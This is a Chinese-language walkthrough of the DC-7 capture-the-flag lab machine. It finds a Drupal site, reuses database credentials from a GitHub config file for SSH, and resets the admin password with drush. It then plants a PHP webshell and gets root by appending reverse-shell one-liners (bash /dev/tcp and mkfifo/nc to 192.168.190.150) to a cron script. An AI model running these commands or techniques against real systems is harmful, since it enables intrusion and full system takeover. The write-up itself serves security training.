先nmap一下,发现开放了22端口的ssh服务和80端口的http服务:
whatweb确定一下是用drupal搭建的:
dirb不到什么有价值的信息,直接浏览器访问80端口试试:
这儿应该是提示,说暴力破解没用,要think "outside" the box。
根据左下角一个很像用户名的提示,在搜索引擎上搜索信息,然后在github上找到相关信息:
看来就是这儿了。其中的config.php如下:
<?php $servername = "localhost"; $username = "dc7user"; $password = "MdR3xOgB7#dW"; $dbname = "Staff"; $conn = mysqli_connect($servername, $username, $password, $dbname); ?>
通过用户名和密码登陆之前的ssh服务,登陆成功:
进去以后发现有一个mbox和一个backups文件夹,先看看mbox:
mbox里面记录的应该是一个定时的计划任务,可以看到时间间隔大约为15min,计划任务为/opt/scripts/backups.sh:
看一下这个计划任务的脚本是干啥的:
可以看到先进入/var/www/html目录,然后使用drush修改了数据库的一些信息。经查询,drush命令主要用于管理drupal的数据库相关信息。
那么我们先切换目录,然后通过drush命令修改admin用户的密码为123:
然后通过login页面登陆成功:
登陆进去以后在content模块下发现可以写入basic page:
结合之前whatweb到的解释器语言为php,想到写入php代码,但是发现目前只能写入静态html,不支持php代码,因为Drupal 8后为了安全,需要将php单独作为一个模块导入。那么就导入php模块吧。
根据网上的安装教程一步一步来 :
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
php模块安装成功。下面就通过在basic page写入一句话木马即可:
然后kali本地打开监听端口9999,通过url传参注入反弹shell的命令:
反弹shell成功:
还记得之前的/opt/scripts/backups.sh么
这个脚本目前是root用户,www-data组的,所以我们对他有rwx权限。那么对该脚本进行修改:
也可以这么修改:
echo "bash -i >& /dev/tcp/192.168.190.150/1234 0>&1" >> /opt/scripts/backups.sh
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.190.150 1234 >/tmp/f" >> backups.sh
mkfifo命令创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)
然后等待计划任务自己执行(因为如果以www-data的身份去执行,反弹回来的还是www-data的shell):
反弹shell成功:
结束。
参考:
https://blog.csdn.net/weixin_43583637/article/details/102809227
https://blog.csdn.net/weixin_46128614/article/details/104037722